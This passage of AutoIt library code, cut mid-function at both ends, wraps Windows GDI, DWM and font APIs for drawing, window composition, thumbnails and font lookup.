$icount, $apoint[$i][$j], $j + 1) Next $icount += 1 Next Local $aret = DllCall("gdi32.dll", "handle", "CreatePolygonRgn", "struct*", $tdata, "int", $icount - 1, "int", $imode) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_createrectrgnindirect($trect) Local $aret = DllCall("gdi32.dll", "handle", "CreateRectRgnIndirect", "struct*", $trect) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_createtransform($nm11 = 1, $nm12 = 0, $nm21 = 0, $nm22 = 1, $ndx = 0, $ndy = 0) Local $txform = DllStructCreate($tagxform) DllStructSetData($txform, 1, $nm11) DllStructSetData($txform, 2, $nm12) DllStructSetData($txform, 3, $nm21) DllStructSetData($txform, 4, $nm22) DllStructSetData($txform, 5, $ndx) DllStructSetData($txform, 6, $ndy) Return $txform EndFunc Func _winapi_deleteenhmetafile($hemf) Local $aret = DllCall("gdi32.dll", "bool", "DeleteEnhMetaFile", "handle", $hemf) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_dptolp($hdc, ByRef $tpoint, $icount = 1) Local $aret = DllCall("gdi32.dll", "bool", "DPtoLP", "handle", $hdc, "struct*", $tpoint, "int", $icount) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_drawanimatedrects($hwnd, $trectfrom, $trectto) Local $aret = DllCall("user32.dll", "bool", "DrawAnimatedRects", "hwnd", $hwnd, "int", 3, "struct*", $trectfrom, "struct*", $trectto) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_drawbitmap($hdc, $ix, $iy, $hbitmap, $irop = 13369376) Local $tobj = DllStructCreate($tagbitmap) Local $aret = DllCall("gdi32.dll", "int", "GetObject", "handle", $hbitmap, "int", DllStructGetSize($tobj), "struct*", $tobj) If @error OR NOT $aret[0] Then Return SetError(@error + 20, @extended, 0) $aret = DllCall("user32.dll", "handle", "GetDC", "hwnd", 0) Local $_hdc = $aret[0] $aret = DllCall("gdi32.dll", "handle", "CreateCompatibleDC", "handle", $_hdc) Local $hsrcdc = $aret[0] $aret = DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hsrcdc, "handle", $hbitmap) Local $hsrcsv = $aret[0] Local $ierror = 0 $aret = DllCall("gdi32.dll", "int", "BitBlt", "hwnd", $hdc, "int", $ix, "int", $iy, "int", DllStructGetData($tobj, "bmWidth"), "int", DllStructGetData($tobj, "bmHeight"), "hwnd", $hsrcdc, "int", 0, "int", 0, "int", $irop) If @error OR NOT $aret[0] Then $ierror = @error + 1 EndIf DllCall("user32.dll", "int", "ReleaseDC", "hwnd", 0, "handle", $_hdc) DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hsrcdc, "handle", $hsrcsv) DllCall("gdi32.dll", "bool", "DeleteDC", "handle", $hsrcdc) If $ierror Then Return SetError(10, 0, 0) Return 1 EndFunc Func _winapi_drawfocusrect($hdc, $trect) Local $aret = DllCall("user32.dll", "bool", "DrawFocusRect", "handle", $hdc, "struct*", $trect) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_drawshadowtext($hdc, $stext, $irgbtext, $irgbshadow, $ixoffset = 0, $iyoffset = 0, $trect = 0, $iflags = 0) Local $aret If NOT IsDllStruct($trect) Then $trect = DllStructCreate($tagrect) $aret = DllCall("user32.dll", "bool", "GetClientRect", "hwnd", _winapi_windowfromdc($hdc), "struct*", $trect) If @error Then Return SetError(@error + 10, @extended, 0) If NOT $aret[0] Then Return SetError(10, 0, 0) EndIf $aret = DllCall("comctl32.dll", "int", "DrawShadowText", "handle", $hdc, "wstr", $stext, "uint", -1, "struct*", $trect, "dword", $iflags, "int", __rgb($irgbtext), "int", __rgb($irgbshadow), "int", $ixoffset, "int", $iyoffset) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_dwmdefwindowproc($hwnd, $imsg, $wparam, $lparam) Local $aret = DllCall("dwmapi.dll", "bool", "DwmDefWindowProc", "hwnd", $hwnd, "uint", $imsg, "wparam", $wparam, "lparam", $lparam, "lresult*", 0) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Return $aret[5] EndFunc Func _winapi_dwmenableblurbehindwindow($hwnd, $benable = True, $btransition = False, $hrgn = 0) Local $tblurbehind = DllStructCreate("dword;bool;handle;bool") Local $iflags = 0 If $hrgn Then $iflags += 2 DllStructSetData($tblurbehind, 3, $hrgn) EndIf DllStructSetData($tblurbehind, 1, BitOR($iflags, 5)) DllStructSetData($tblurbehind, 2, $benable) DllStructSetData($tblurbehind, 4, $btransition) Local $aret = DllCall("dwmapi.dll", "long", "DwmEnableBlurBehindWindow", "hwnd", $hwnd, "struct*", $tblurbehind) If @error Then Return SetError(@error, @extended, 0) If $aret[0] Then Return SetError(10, $aret[0], 0) Return 1 EndFunc Func _winapi_dwmenablecomposition($benable) If $benable Then $benable = 1 Local $aret = DllCall("dwmapi.dll", "long", "DwmEnableComposition", "uint", $benable) If @error Then Return SetError(@error, @extended, 0) If $aret[0] Then Return SetError(10, $aret[0], 0) Return 1 EndFunc Func _winapi_dwmextendframeintoclientarea($hwnd, $tmargins = 0) If NOT IsDllStruct($tmargins) Then $tmargins = _winapi_createmargins(-1, -1, -1, -1) EndIf Local $aret = DllCall("dwmapi.dll", "long", "DwmExtendFrameIntoClientArea", "hwnd", $hwnd, "struct*", $tmargins) If @error Then Return SetError(@error, @extended, 0) If $aret[0] Then Return SetError(10, $aret[0], 0) Return 1 EndFunc Func _winapi_dwmgetcolorizationcolor() Local $aret = DllCall("dwmapi.dll", "long", "DwmGetColorizationColor", "dword*", 0, "bool*", 0) If @error Then Return SetError(@error, @extended, 0) If $aret[0] Then Return SetError(10, $aret[0], 0) Return SetExtended($aret[2], $aret[1]) EndFunc Func _winapi_dwmgetcolorizationparameters() Local $tdwmcp = DllStructCreate($tagdwm_colorization_parameters) Local $aret = DllCall("dwmapi.dll", "uint", 127, "struct*", $tdwmcp) If @error Then Return SetError(@error, @extended, 0) If $aret[0] Then Return SetError(10, $aret[0], 0) Return $tdwmcp EndFunc Func _winapi_dwmgetwindowattribute($hwnd, $iattribute) Local $tagstruct Switch $iattribute Case 5, 9 $tagstruct = $tagrect Case 1 $tagstruct = "uint" Case Else Return SetError(11, 0, 0) EndSwitch Local $tdata = DllStructCreate($tagstruct) Local $aret = DllCall("dwmapi.dll", "long", "DwmGetWindowAttribute", "hwnd", $hwnd, "dword", $iattribute, "struct*", $tdata, "dword", DllStructGetSize($tdata)) If @error Then Return SetError(@error, @extended, 0) If $aret[0] Then Return SetError(10, $aret[0], 0) Switch $iattribute Case 1 Return DllStructGetData($tdata, 1) Case Else Return $tdata EndSwitch EndFunc Func _winapi_dwminvalidateiconicbitmaps($hwnd) Local $aret = DllCall("dwmapi.dll", "long", "DwmInvalidateIconicBitmaps", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) If $aret[0] Then Return SetError(10, $aret[0], 0) Return 1 EndFunc Func _winapi_dwmiscompositionenabled() Local $aret = DllCall("dwmapi.dll", "long", "DwmIsCompositionEnabled", "bool*", 0) If @error Then Return SetError(@error, @extended, 0) If $aret[0] Then Return SetError(10, $aret[0], 0) Return $aret[1] EndFunc Func _winapi_dwmquerythumbnailsourcesize($hthumbnail) Local $tsize = DllStructCreate($tagsize) Local $aret = DllCall("dwmapi.dll", "long", "DwmQueryThumbnailSourceSize", "handle", $hthumbnail, "struct*", $tsize) If @error Then Return SetError(@error, @extended, 0) If $aret[0] Then Return SetError(10, $aret[0], 0) Return $tsize EndFunc Func _winapi_dwmregisterthumbnail($hdestination, $hsource) Local $aret = DllCall("dwmapi.dll", "long", "DwmRegisterThumbnail", "hwnd", $hdestination, "hwnd", $hsource, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aret[0] Then Return SetError(10, $aret[0], 0) Return $aret[3] EndFunc Func _winapi_dwmsetcolorizationparameters($tdwmcp) Local $aret = DllCall("dwmapi.dll", "uint", 131, "struct*", $tdwmcp, "uint", 0) If @error Then Return SetError(@error, @extended, 0) If $aret[0] Then Return SetError(10, $aret[0], 0) Return 1 EndFunc Func _winapi_dwmseticoniclivepreviewbitmap($hwnd, $hbitmap, $bframe = False, $tclient = 0) Local $iflags If $bframe Then $iflags = 1 Else $iflags = 0 EndIf Local $aret = DllCall("dwmapi.dll", "uint", "DwmSetIconicLivePreviewBitmap", "hwnd", $hwnd, "handle", $hbitmap, "struct*", $tclient, "dword", $iflags) If @error Then Return SetError(@error, @extended, 0) If $aret[0] Then Return SetError(10, $aret[0], 0) Return 1 EndFunc Func _winapi_dwmseticonicthumbnail($hwnd, $hbitmap, $bframe = False) Local $iflags If $bframe Then $iflags = 1 Else $iflags = 0 EndIf Local $aret = DllCall("dwmapi.dll", "long", "DwmSetIconicThumbnail", "hwnd", $hwnd, "handle", $hbitmap, "dword", $iflags) If @error Then Return SetError(@error, @extended, 0) If $aret[0] Then Return SetError(10, $aret[0], 0) Return 1 EndFunc Func _winapi_dwmsetwindowattribute($hwnd, $iattribute, $idata) Switch $iattribute Case 2, 3, 4, 6, 7, 8, 10, 11, 12 Case Else Return SetError(1, 0, 0) EndSwitch Local $aret = DllCall("dwmapi.dll", "long", "DwmSetWindowAttribute", "hwnd", $hwnd, "dword", $iattribute, "dword*", $idata, "dword", 4) If @error Then Return SetError(@error, @extended, 0) If $aret[0] Then Return SetError(10, $aret[0], 0) Return 1 EndFunc Func _winapi_dwmunregisterthumbnail($hthumbnail) Local $aret = DllCall("dwmapi.dll", "long", "DwmUnregisterThumbnail", "handle", $hthumbnail) If @error Then Return SetError(@error, @extended, 0) If $aret[0] Then Return SetError(10, $aret[0], 0) Return 1 EndFunc Func _winapi_dwmupdatethumbnailproperties($hthumbnail, $bvisible = True, $bclientareaonly = False, $iopacity = 255, $trectdest = 0, $trectsrc = 0) Local Const $tagdwm_thumbnail_properties = "struct;dword dwFlags;int rcDestination[4];int rcSource[4];byte opacity;bool opacity;bool fSourceClientAreaOnly;endstruct" Local $tthumbnailproperties = DllStructCreate($tagdwm_thumbnail_properties) Local $tsize, $iflags = 0 If NOT IsDllStruct($trectdest) Then $tsize = _winapi_dwmquerythumbnailsourcesize($hthumbnail) If @error Then Return SetError(@error + 10, @extended, 0) EndIf $trectdest = _winapi_createrectex(0, 0, DllStructGetData($tsize, 1), DllStructGetData($tsize, 2)) EndIf For $i = 1 To 4 DllStructSetData($tthumbnailproperties, 2, DllStructGetData($trectdest, $i), $i) Next If IsDllStruct($trectsrc) Then $iflags += 2 For $i = 1 To 4 DllStructSetData($tthumbnailproperties, 3, DllStructGetData($trectsrc, $i), $i) Next EndIf DllStructSetData($tthumbnailproperties, 1, BitOR($iflags, 29)) DllStructSetData($tthumbnailproperties, 4, $iopacity) DllStructSetData($tthumbnailproperties, 5, $bvisible) DllStructSetData($tthumbnailproperties, 6, $bclientareaonly) Local $aret = DllCall("dwmapi.dll", "long", "DwmUpdateThumbnailProperties", "handle", $hthumbnail, "struct*", $tthumbnailproperties) If @error Then Return SetError(@error, @extended, 0) If $aret[0] Then Return SetError(10, $aret[0], 0) Return 1 EndFunc Func _winapi_ellipse($hdc, $trect) Local $aret = DllCall("gdi32.dll", "bool", "Ellipse", "handle", $hdc, "int", DllStructGetData($trect, 1), "int", DllStructGetData($trect, 2), "int", DllStructGetData($trect, 3), "int", DllStructGetData($trect, 4)) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_endpaint($hwnd, ByRef $tpaintstruct) Local $aret = DllCall("user32.dll", "bool", "EndPaint", "hwnd", $hwnd, "struct*", $tpaintstruct) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_endpath($hdc) Local $aret = DllCall("gdi32.dll", "bool", "EndPath", "handle", $hdc) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_enumdisplaymonitors($hdc = 0, $trect = 0) Local $henumproc = DllCallbackRegister("__EnumDisplayMonitorsProc", "bool", "handle;handle;ptr;lparam") Dim $__g_venum[101][2] = [[0]] Local $aret = DllCall("user32.dll", "bool", "EnumDisplayMonitors", "handle", $hdc, "struct*", $trect, "ptr", DllCallbackGetPtr($henumproc), "lparam", 0) If @error OR NOT $aret[0] OR NOT $__g_venum[0][0] Then $__g_venum = @error + 10 EndIf DllCallbackFree($henumproc) If $__g_venum Then Return SetError($__g_venum, 0, 0) __inc($__g_venum, -1) Return $__g_venum EndFunc Func _winapi_enumdisplaysettings($sdevice, $imode) Local $stypeofdevice = "wstr" If NOT StringStripWS($sdevice, $str_stripleading + $str_striptrailing) Then $stypeofdevice = "ptr" $sdevice = 0 EndIf Local $tdevmode = DllStructCreate($tagdevmode_display) DllStructSetData($tdevmode, "Size", DllStructGetSize($tdevmode)) DllStructSetData($tdevmode, "DriverExtra", 0) Local $aret = DllCall("user32.dll", "bool", "EnumDisplaySettingsW", $stypeofdevice, $sdevice, "dword", $imode, "struct*", $tdevmode) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Local $aresult[5] $aresult[0] = DllStructGetData($tdevmode, "PelsWidth") $aresult[1] = DllStructGetData($tdevmode, "PelsHeight") $aresult[2] = DllStructGetData($tdevmode, "BitsPerPel") $aresult[3] = DllStructGetData($tdevmode, "DisplayFrequency") $aresult[4] = DllStructGetData($tdevmode, "DisplayFlags") Return $aresult EndFunc Func _winapi_enumfontfamilies($hdc = 0, $sfacename = "", $icharset = 1, $ifonttype = 7, $spattern = "", $bexclude = False) Local $tlogfont = DllStructCreate($taglogfont) Local $tpattern = DllStructCreate("uint;uint;ptr;wchar[" & (StringLen($spattern) + 1) & "]") DllStructSetData($tpattern, 1, $ifonttype) If NOT $spattern Then DllStructSetData($tpattern, 2, 0) DllStructSetData($tpattern, 3, 0) Else DllStructSetData($tpattern, 2, $bexclude) DllStructSetData($tpattern, 3, DllStructGetPtr($tpattern, 4)) DllStructSetData($tpattern, 4, $spattern) EndIf DllStructSetData($tlogfont, 9, $icharset) DllStructSetData($tlogfont, 13, 0) DllStructSetData($tlogfont, 14, StringLeft($sfacename, 31)) Local $hcdc If NOT $hdc Then $hcdc = _winapi_createcompatibledc(0) Else $hcdc = $hdc EndIf Dim $__g_venum[101][8] = [[0]] Local $henumproc = DllCallbackRegister("__EnumFontFamiliesProc", "int", "ptr;ptr;dword;PTR") Local $aret = DllCall("gdi32.dll", "int", "EnumFontFamiliesExW", "handle", $hcdc, "struct*", $tlogfont, "ptr", DllCallbackGetPtr($henumproc), "struct*", $tpattern, "dword", 0) If @error OR NOT $aret[0] OR NOT $__g_venum[0][0] Then $__g_venum = @error + 10 EndIf DllCallbackFree($henumproc) If NOT $hdc Then _winapi_deletedc($hcdc) EndIf If $__g_venum Then Return SetError($__g_venum, 0, 0) __inc($__g_venum, -1) Return $__g_venum EndFunc Func _winapi_equalrect($trect1, $trect2) Local $aret = DllCall("user32.dll", "bool", "EqualRect", "struct*", $trect1, "struct*", $trect2) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_equalrgn($hrgn1, $hrgn2) Local $aret = DllCall("gdi32.dll", "bool", "EqualRgn", "handle", $hrgn1, "handle", $hrgn2) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_excludecliprect($hdc, $trect) Local $aret = DllCall("gdi32.dll", "int", "ExcludeClipRect", "handle", $hdc, "int", DllStructGetData($trect, 1), "int", DllStructGetData($trect, 2), "int", DllStructGetData($trect, 3), "int", DllStructGetData($trect, 4)) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_extcreatepen($ipenstyle, $iwidth, $ibrushstyle, $irgb, $ihatch = 0, $auserstyle = 0, $istart = 0, $iend = -1) Local $icount = 0, $tstyle = 0 If BitAND($ipenstyle, 255) = 7 Then If __checkerrorarraybounds($auserstyle, $istart, $iend) Then Return SetError(@error + 10, @extended, 0) $tstyle = DllStructCreate("dword[" & ($iend - $istart + 1) & "]") For $i = $istart To $iend DllStructSetData($tstyle, 1, $auserstyle[$i], $icount + 1) $icount += 1 Next EndIf Local $tlogbrush = DllStructCreate($taglogbrush) DllStructSetData($tlogbrush, 1, $ibrushstyle) DllStructSetData($tlogbrush, 2, __rgb($irgb)) DllStructSetData($tlogbrush, 3, $ihatch) Local $aret = DllCall("gdi32.dll", "handle", "ExtCreatePen", "dword", $ipenstyle, "dword", $iwidth, "struct*", $tlogbrush, "dword", $icount, "struct*", $tstyle) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_extcreateregion($trgndata, $txform = 0) Local $aret = DllCall("gdi32.dll", "handle", "ExtCreateRegion", "struct*", $txform, "dword", DllStructGetSize($trgndata), "struct*", $trgndata) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_extfloodfill($hdc, $ix, $iy, $irgb, $itype = 0) Local $aret = DllCall("gdi32.dll", "bool", "ExtFloodFill", "handle", $hdc, "int", $ix, "int", $iy, "dword", __rgb($irgb), "uint", $itype) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_extselectcliprgn($hdc, $hrgn, $imode = 5) Local $aret = DllCall("gdi32.dll", "int", "ExtSelectClipRgn", "handle", $hdc, "handle", $hrgn, "int", $imode) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_fillpath($hdc) Local $aret = DllCall("gdi32.dll", "bool", "FillPath", "handle", $hdc) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_fillrgn($hdc, $hrgn, $hbrush) Local $aret = DllCall("gdi32.dll", "bool", "FillRgn", "handle", $hdc, "handle", $hrgn, "handle", $hbrush) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_flattenpath($hdc) Local $aret = DllCall("gdi32.dll", "bool", "FlattenPath", "handle", $hdc) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_framergn($hdc, $hrgn, $hbrush, $iwidth, $iheight) Local $aret = DllCall("gdi32.dll", "bool", "FrameRgn", "handle", $hdc, "handle", $hrgn, "handle", $hbrush, "int", $iwidth, "int", $iheight) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_gdicomment($hdc, $pbuffer, $isize) Local $aret = DllCall("gdi32.dll", "bool", "GdiComment", "handle", $hdc, "uint", $isize, "struct*", $pbuffer) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_getarcdirection($hdc) Local $aret = DllCall("gdi32.dll", "int", "GetArcDirection", "handle", $hdc) If @error Then Return SetError(@error, @extended, 0) If ($aret[0] < 1) OR ($aret[0] > 2) Then Return SetError(10, $aret[0], 0) Return $aret[0] EndFunc Func _winapi_getbitmapbits($hbitmap, $isize, $pbits) Local $aret = DllCall("gdi32.dll", "long", "GetBitmapBits", "handle", $hbitmap, "long", $isize, "struct*", $pbits) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_getbitmapdimensionex($hbitmap) Local $tsize = DllStructCreate($tagsize) Local $aret = DllCall("gdi32.dll", "bool", "GetBitmapDimensionEx", "handle", $hbitmap, "struct*", $tsize) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Return $tsize EndFunc Func _winapi_getbkcolor($hdc) Local $aret = DllCall("gdi32.dll", "dword", "GetBkColor", "handle", $hdc) If @error OR ($aret[0] = -1) Then Return SetError(@error, @extended, -1) Return __rgb($aret[0]) EndFunc Func _winapi_getboundsrect($hdc, $iflags = 0) Local $trect = DllStructCreate($tagrect) Local $aret = DllCall("gdi32.dll", "uint", "GetBoundsRect", "handle", $hdc, "struct*", $trect, "uint", $iflags) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Return SetExtended($aret[0], $trect) EndFunc Func _winapi_getbrushorg($hdc) Local $tpoint = DllStructCreate($tagpoint) Local $aret = DllCall("gdi32.dll", "bool", "GetBrushOrgEx", "handle", $hdc, "struct*", $tpoint) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Return $tpoint EndFunc Func _winapi_getbvalue($irgb) Return BitShift(BitAND(__rgb($irgb), 16711680), 16) EndFunc Func _winapi_getclipbox($hdc, ByRef $trect) $trect = DllStructCreate($tagrect) Local $aret = DllCall("gdi32.dll", "int", "GetClipBox", "handle", $hdc, "struct*", $trect) If @error OR NOT $aret[0] Then $trect = 0 Return SetError(@error, @extended, 0) EndIf Return $aret[0] EndFunc Func _winapi_getcliprgn($hdc) Local $hrgn = _winapi_createrectrgn(0, 0, 0, 0) Local $ierror = 0 Local $aret = DllCall("gdi32.dll", "int", "GetClipRgn", "handle", $hdc, "handle", $hrgn) If @error OR ($aret[0] = -1) Then $ierror = @error + 10 If $ierror OR NOT $aret[0] Then _winapi_deleteobject($hrgn) $hrgn = 0 EndIf Return SetError($ierror, 0, $hrgn) EndFunc Func _winapi_getcoloradjustment($hdc) Local $tadjustment = DllStructCreate($tagcoloradjustment) Local $aret = DllCall("gdi32.dll", "bool", "GetColorAdjustment", "handle", $hdc, "struct*", $tadjustment) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Return $tadjustment EndFunc Func _winapi_getcurrentobject($hdc, $itype) Local $aret = DllCall("gdi32.dll", "handle", "GetCurrentObject", "handle", $hdc, "uint", $itype) If @error OR NOT $aret[0] Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_getcurrentposition($hdc) Local $tpoint = DllStructCreate($tagpoint) Local $aret = DllCall("gdi32.dll", "int", "GetCurrentPositionEx", "handle", $hdc, "struct*", $tpoint) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Return $tpoint EndFunc Func _winapi_getdcex($hwnd, $hrgn, $iflags) Local $aret = DllCall("user32.dll", "handle", "GetDCEx", "hwnd", $hwnd, "handle", $hrgn, "dword", $iflags) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_getdevicegammaramp($hdc, ByRef $aramp) $aramp = 0 Local $tdata = DllStructCreate("word[256];word[256];word[256]") Local $aret = DllCall("gdi32.dll", "bool", "GetDeviceGammaRamp", "handle", $hdc, "struct*", $tdata) If @error OR NOT $aret[0] Then Return SetError(@error, @extended, 0) Dim $aramp[256][3] For $i = 0 To 2 For $j = 0 To 255 $aramp[$j][$i] = DllStructGetData($tdata, $i + 1, $j + 1) Next Next Return 1 EndFunc Func _winapi_getdibcolortable($hbitmap) Local $hdc = _winapi_createcompatibledc(0) Local $hsv = _winapi_selectobject($hdc, $hbitmap) Local $tpeak = DllStructCreate("dword[256]") Local $ierror = 0 Local $aret = DllCall("gdi32.dll", "uint", "GetDIBColorTable", "handle", $hdc, "uint", 0, "uint", 256, "struct*", $tpeak) If @error OR NOT $aret[0] Then $ierror = @error + 10 _winapi_selectobject($hdc, $hsv) _winapi_deletedc($hdc) If $ierror Then Return SetError($ierror, 0, 0) Local $tdata = DllStructCreate("dword[" & $aret[0] & "]") If @error Then Return SetError(@error + 20, @extended, 0) _winapi_movememory($tdata, $aret[4], 4 * $aret[0]) Return SetExtended($aret[0], $tdata) EndFunc Func _winapi_getenhmetafile($sfilepath) Local $aret = DllCall("gdi32.dll", "handle", "GetEnhMetaFileW", "wstr", $sfilepath) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_getenhmetafilebits($hemf, ByRef $pbuffer) Local $aret = DllCall("gdi32.dll", "uint", "GetEnhMetaFileBits", "handle", $hemf, "uint", 0, "ptr", 0) If @error OR NOT $aret[0] Then Return SetError(@error + 50, @extended, 0) $pbuffer = __heaprealloc($pbuffer, $aret[0], 1) If @error Then Return SetError(@error, @extended, 0) $aret = DllCall("gdi32.dll", "uint", "GetEnhMetaFileBits", "handle", $hemf, "uint", $aret[0], "ptr", $pbuffer) If NOT $aret[0] Then Return SetError(60, 0, 0) Return $aret[2] EndFunc Func _winapi_getenhmetafiledescription($hemf) Local $tdata = DllStructCreate("wchar[4096]") Local $aret = DllCall("gdi32.dll", "uint", "GetEnhMetaFileDescriptionW", "handle", $hemf, "uint", 4096, "struct*", $tdata) If @error OR ($aret[0] = 4294967295) Then Return SetError(@error + 20, $aret[0], 0) If NOT $aret[0] Then Return 0 Local $adata = _winapi_structtoarray($tdata) If @error Then Return SetError(@error, @extended, 0) Local $aresult[2] For $i = 0 To 1 If $adata[0] > $i Then $aresult[$i] = $adata[$i + 1] Else $aresult[$i] = "" EndIf Next Return $aresult EndFunc Func _winapi_getenhmetafiledimension($hemf) Local $tenhmetaheader = _winapi_getenhmetafileheader($hemf) If @error Then Return SetError(@error, @extended, 0) Local $tsize = DllStructCreate($tagsize) DllStructSetData($tsize, 1, Round((DllStructGetData($tenhmetaheader, "rcFrame", 3) - DllStructGetData($tenhmetaheader, "rcFrame", 1)) * DllStructGetData($tenhmetaheader, "Device", 1) / DllStructGetData($tenhmetaheader, "Millimeters", 1) / 100)) DllStructSetData($tsize, 2, Round((DllStructGetData($tenhmetaheader, "rcFrame", 4) - DllStructGetData($tenhmetaheader, "rcFrame", 2)) * DllStructGetData($tenhmetaheader, "Device", 2) / DllStructGetData($tenhmetaheader, "Millimeters", 2) / 100)) Return $tsize EndFunc Func _winapi_getenhmetafileheader($hemf) Local $tenhmetaheader = DllStructCreate($tagenhmetaheader) Local $aret = DllCall("gdi32.dll", "uint", "GetEnhMetaFileHeader", "handle", $hemf, "uint", DllStructGetSize($tenhmetaheader), "struct*", $tenhmetaheader) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Return SetExtended($aret[0], $tenhmetaheader) EndFunc Func _winapi_getfontname($sfacename, $istyle = 0, $icharset = 1) If NOT $sfacename Then Return SetError(1, 0, "") Local $iflags = 0 If BitAND($istyle, 1) Then $iflags += 32 EndIf If BitAND($istyle, 2) Then $iflags += 1 EndIf If NOT $iflags Then $iflags = 64 EndIf Local $tlogfont = DllStructCreate($taglogfont) DllStructSetData($tlogfont, 9, $icharset) DllStructSetData($tlogfont, 13, 0) DllStructSetData($tlogfont, 14, StringLeft($sfacename, 31)) Local $tfn = DllStructCreate("dword;wchar[64]") DllStructSetData($tfn, 1, $iflags) DllStructSetData($tfn, 2, "") Local $hdc = _winapi_createcompatibledc(0) Local $henumproc = DllCallbackRegister("__EnumFontStylesProc", "int", "ptr;ptr;dword;lparam") Local $sret = "" Local $aret = DllCall("gdi32.dll", "int", "EnumFontFamiliesExW", "handle", $hdc, "struct*", $tlogfont, "ptr", DllCallbackGetPtr($henumproc), "struct*", $tfn, "dword", 0) If NOT @error AND NOT $aret[0] Then $sret = DllStructGetData($tfn, 2) DllCallbackFree($henumproc) _winapi_deletedc($hdc) If NOT $sret Then Return SetError(2, 0, "") Return $sret EndFunc Func _winapi_getfontresourceinfo($sfont, $bforce = False, $iflag = Default) If $iflag = Default Then If $bforce Then If NOT _winapi_addfontresourceex($sfont, $fr_not_enum) Then Return SetError(@error + 20, @extended, "") EndIf Local $ierror = 0 Local $aret = DllCall("gdi32.dll", "bool", "GetFontResourceInfoW", "wstr", $sfont, "dword*", 4096, "wstr", "", "dword", 1) If @error OR NOT $aret[0] Then $ierror = @error + 10 If $bforce Then _winapi_removefontresourceex($sfont, $fr_not_enum) EndIf If $ierror Then Return SetError($ierror, 0, "") Return $aret[3] Else If NOT FileExists($sfont) Then $sfont = RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", "Fonts") & "\" & $sfont If NOT FileExists($sfont) Then Return SetError(31, 0, "") EndIf Local Const $hfile = _winapi_createfile($sfont, 2, 2, 2) If NOT $hfile Then Return SetError(32, _winapi_getlasterror(), "") Local Const $ifile = FileGetSize($sfont) Local Const $tbuffer = DllStructCreate("byte[" & $ifile + 1 & "]") Local Const $pfile = DllStructGetPtr($tbuffer) Local $iread _winapi_readfile($hfile, $pfile, $ifile, $iread) _winapi_closehandle($hfile) Local $sttfname = _winapi_getfontmemoryresourceinfo($pfile, $iflag) If @error Then If @error = 1 AND $iflag = 4 Then $sttfname = _winapi_getfontresourceinfo($sfont, True) Return SetError(@error, @extended, $sttfname) EndIf Return SetError(33, @error, "") EndIf Return $sttfname EndIf EndFunc Func _winapi_getfontmemoryresourceinfo($pmemory, $iflag = 1) Local Const $tagtt_offset_table = "USHORT uMajorVersion;USHORT uMinorVersion;USHORT uNumOfTables;USHORT uSearchRange;USHORT uEntrySelector;USHORT uRangeShift" Local Const $tagtt_table_directory = "char szTag[4];ULONG uCheckSum;ULONG uOffset;ULONG uLength" Local Const $tagtt_name_table_header = "USHORT uFSelector;USHORT uNRCount;USHORT uStorageOffset" Local Const $tagtt_name_record = "USHORT uPlatformID;USHORT uEncodingID;USHORT uLanguageID;USHORT uNameID;USHORT uStringLength;USHORT uStringOffset" Local $tttoffsettable = DllStructCreate($tagtt_offset_table, $pmemory) Local $inumoftables = _winapi_swapword(DllStructGetData($tttoffsettable, "uNumOfTables")) If NOT (_winapi_swapword(DllStructGetData($tttoffsettable, "uMajorVersion")) = 1 AND _winapi_swapword(DllStructGetData($tttoffsettable, "uMinorVersion")) = 0) Then Return SetError(1, 0, "") Local $itbldirsize = DllStructGetSize(DllStructCreate($tagtt_table_directory)) Local $bfound = False, $ioffset, $ttbldir For $i = 0 To $inumoftables - 1 $ttbldir = DllStructCreate($tagtt_table_directory, $pmemory + DllStructGetSize($tttoffsettable) + $i * $itbldirsize) If StringLeft(DllStructGetData($ttbldir, "szTag"), 4) = "name" Then $bfound = True $ioffset = _winapi_swapdword(DllStructGetData($ttbldir, "uOffset")) ExitLoop EndIf Next If NOT $bfound Then Return SetError(2, 0, "") Local $tntheader = 